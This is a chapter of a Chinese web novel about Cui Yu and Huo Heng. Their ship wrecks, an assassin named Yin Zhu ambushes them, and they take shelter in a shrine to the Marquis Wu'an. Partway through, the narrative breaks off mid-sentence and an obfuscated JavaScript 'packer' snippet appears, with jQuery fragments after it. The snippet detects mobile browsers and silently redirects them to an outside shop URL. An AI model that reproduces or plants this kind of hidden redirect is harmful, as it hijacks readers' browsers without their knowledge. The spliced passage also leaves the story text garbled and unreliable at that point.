87.迷踪山雨祠
作品:《今天也在努力翻案吗》 自放走钱家派来的黑衣人后,一路风平浪静,船已行至靖州。
即将抵达京城。
荀先生日夜给崔昱行针,眼下身体已然好了不少。
午间,崔昱正在喝茶。
他靠在软枕上,手中捧着温茶,茶香四溢。
霍衡看见崔昱悠闲的样子,心中幽怨。他脸色苍白,吃了荀先生给的晕船药,也丝毫没有缓解。
崔昱放下茶盏,正要说什么,船身忽然猛地一震,桌上的茶盏滑出去,滚落在地,“啪”的一声碎了。
霍衡腾地坐直了身子,脸色骤变。
船身又猛烈地震了一下,一声巨响,像是船底撞上了什么东西。
宋弋没站稳,一个趔趄摔在地上。船舱里桌椅倾倒,东西撒了一地。
“出什么事了?”
船老大有些焦急,他强装镇定地推门进来,“斋主,三爷!船底撞破了,进水了!”
“撞了多大的口子?”
船老大抹了抹额角的汗水,“不小,我们必须得尽快靠岸,这船撑不了太久了。”
几人走上甲板,江风扑面吹来,船身已经有些明显倾斜了。
船老大拼了命地把舵往岸边打,船身倾斜得越来越厉害,甲板上的水桶、绳索、杂物哗啦啦地往低处滑,撞在船舷上,发出沉闷的声响。
伙计们有的舀水,有的扯帆,水越进越多,根本堵不住。
“再加把劲!马上就要到了!”
霍衡站在船头,看着岸边,那是一片荒滩,芦苇丛生,不见人烟。
但是,眼下也顾不了那么多了。
宋弋给崔昱披上外袍,崔昱定定看着这一切,脸上并无慌乱之色。
船身又沉了几分,水就快要漫上甲板。
船老大猛打舵轮,船身横了过来,借着最后一点惯性,斜斜地往岸边冲去。
“轰”的一声,船底擦着水底的石头,整个船身剧烈震动,所有人都被甩得东倒西歪。
霍衡一把抓住崔昱的胳膊,另一只手攥住船舷。宋弋死死抱着崔昱的另一边,三个人在甲板上踉跄了好几步,才勉强站稳。
“荀先生!?”
荀先生抱着药箱,死死扒住了一根柱子,“老夫无事!”
“下船!”
霍衡扶着崔昱,下到齐腰深的水里。好在已是初夏,江水清凉,并不寒冷。
伙计们七手八脚地把能搬的东西搬下船,这条船上主要运的是药材和布匹。许多货泡了水,便不值钱了。
霍衡背着崔昱趟过浅水,他眼下大病初愈都算不上,身体受不得寒。
“歇一会儿。”霍衡把他扶到一块大石头上坐下。
荀先生抱着药箱走过来,浑身是水,发丝贴在脸上,狼狈得不成样子。
他把药箱放在地上,连忙走到崔昱身前,“没事吧?”
“没事。”崔昱看着荀先生着急的样子,有些哭笑不得,“没那么脆弱。”
宋弋一瘸一拐地走过来,浑身湿淋淋的,从怀里掏出几块用油纸包着的干粮,已经泡软了,他小心翼翼地拆开,递给众人一些。
“就剩这些了。”他有些不好意思。
霍衡接过来,干粮泡得发胀,没什么味道,可他吃得津津有味,笑眯眯地夸赞宋弋,“真是聪明小孩。”
荀先生衣摆上的水,气鼓鼓地嚼着干粮。
伙计们把能搬的东西都搬上了岸,药材和布匹都湿了大半,船老大肉眼可见地有些心疼。
崔昱手指摩挲着袖口,正目不转睛地盯着江面,他心里清楚,这条航线浮云斋已走过数年,怎么会偏偏出来暗礁?
果不其然,不多时,开阔的江面上隐约出现了几个小黑点,浮浮沉沉。
崔昱猛地站起身,环顾四周。芦苇丛后面,也有黑影在动。
“子权,有刺客!”崔昱简言意骇。
霍衡也十分敏锐,一下子便感知到周边涌现的陌生气息。
宋弋还没反应过来,顺着霍衡的目光看去,脸一下子就白了。
芦苇丛里的人一个接一个地站起身来。一身黑衣,杀气腾腾。他们踩着浅水,无声无息地朝着他们包围而来。
“戒备。”
闻言,伙计们纷纷放下手中货物,拔出长刀,目光警惕。
为首的是个女子,一身黑衣,身形纤细,长长的辫子垂着,手里提着一柄细剑。
崔昱看清来人,微微一笑,“好久不见,银朱大人。”
“崔大人,”银朱的声音一如既往冷冷的,“确实好久不见,您无故出京,只怕是陛下那里不好交代啊?”
她咯咯笑了两声,“不如,被我杀了,便不用回京城受罪了?你意下如何?”
崔昱敛眸,手中长剑挽了一个剑花负在身后,“挺好,银朱大人果然善解人意。”
银朱的笑意一凝,剑尖已经刺了过来。崔昱侧身避开,剑锋擦着他的衣襟过去,削下一片衣角。
一触即发,众人很快打成一片。
霍衡挥剑挡在宋弋身前,将他死死护在身后,剑身相撞,火星四溅。他没有分神管崔昱,他心中清楚崔昱有自保的能力。
“你知道我要什么东西,赶快交出来,不要再做无畏的抵抗。”银朱美眸流转,说出的话却如数九寒冰。
“崔大人,您这身子骨,怕是挡不住我几剑。”
崔昱低头咳嗽几声,眉头微微蹙起,他语气十分无奈,“你要的东西当真不在我这里。”
“死到临头了,还在狡辩?”银朱一怒,不想再与他多费口舌。
她手中细剑材质偏软,竟然卷过崔昱腰身,将他踉跄带出几步。
“阿昱!”
崔昱没有反抗,反而是借着这股力道欺身而上,他一把扣住银朱肩头,力气很大,半晌才用两人能听见的声音道:“银朱大人,想要救你姐姐吗?”
银朱瞳孔骤缩,连反抗的动作都忘在了半空中,“你说什么……?”
“救你姐姐……”崔昱侧身在她耳边低语,循循善诱,“你寻来再多的死人,也救不了你姐姐呀……”
银朱眉头紧皱,面有愠色,“你怎么知道,是谁告诉你的!”
崔昱不答。
银朱盯着他看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392464|193916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,那云淡风轻的样子让她心中恼怒,她手指收紧,握住剑柄,沉默半晌,“你赢了,但是最好别骗我。”
“自是不会欺骗与你。”
银朱转过身,对着那些黑衣人挥了挥手:“走。”
黑衣人犹豫了一下,还是跟着她往后退去。银朱走了几步,又停下来,回头看了崔昱一眼。
“崔大人,您要是骗我,就算追到天涯海角,我也会杀了您。”
崔昱向她颔首。
不多时,银朱带着人尽数退去,消失在林子深处。
霍衡见人撤了,顿时卸了力气,一屁股坐在地上。
他这几日没吃什么东西,眼下激战之后饿得狠了,有些体力不支。
伙计们互相搀扶着,清点人数,剩下的也个个带伤。荀先生打开药箱,给伤重的伙计包扎伤口,他这把老骨头也快撑不住了。
崔昱站在江边,看着银朱消失的方向,站了一会儿。风吹过来,他轻轻咳了两声。
“走吧,”霍衡起身给他紧了紧外袍系带,“找个地方歇一歇。”
一行人沿着江岸走。货物全都没带,伙计们背着伤重的同伴,一瘸一拐地走在前面。
霍衡已经燃了信烟,联络靖州暗哨。
走了约莫半个时辰,天边开始发暗。乌云从山后面涌上来,霍衡抬头看了一眼,脸色变了。
“要下雨了。”
话音刚落没多久,豆大的雨点就砸了下来。起初稀稀落落的,转眼间就密了起来。
众人连忙往前跑,可这荒郊野岭的,哪里有什么避雨的地方?
雨越下越大,山路变成了泥沼,踩一脚滑一脚。
“前面!前面有个房子!”宋弋眼尖,指着山脚下喊。
众人跌跌撞撞地跑过去,近了才看清,是一座祠堂。
不是很大,青砖黑瓦,墙根长满了青苔,门楣上挂着一块匾,字迹已经模糊了,只隐约认出个“公”字。
祠堂里很暗,只有神龛上点着两盏长明灯,灯火昏黄。
众人鱼贯而入,把伤重的安顿在角落里。雨打在瓦片上,噼里啪啦。霍衡把门关上,雨水顺着门缝淌进来,他找了几块木板挡着,才算好些。
崔昱站在祠堂中间,看着神龛上的牌位。那牌位是铜铸的,擦得很亮。不同于字迹不清的牌匾,牌位上刻着的字,清晰可辨。
“武安侯元公讳昭之神位。”
崔昱神色怔愣。
霍衡走过去,站在他身边,看着那块牌位,“这祠堂……是百姓建的。”
宋弋走上前来,看到供奉的牌位,心中酸楚,他握紧拳头,心中喃喃,“……昭昭哥哥。”
霍衡见他上前,便看着他说,“武安侯出事后,百姓怕朝廷不让祭拜,就偷偷建了这些祠堂自发供奉。后来时间久了,有些就荒了,有些还在,附近的人家逢年过节还会来上香。”
他指了指神龛前的香炉,里面有新烧过的香灰,还残留着淡淡的檀香味。
宋弋慢慢走上前,站在神龛前。他抬头看着那块牌位。长明灯的光照在他脸上,照出他微微发红的眼眶。

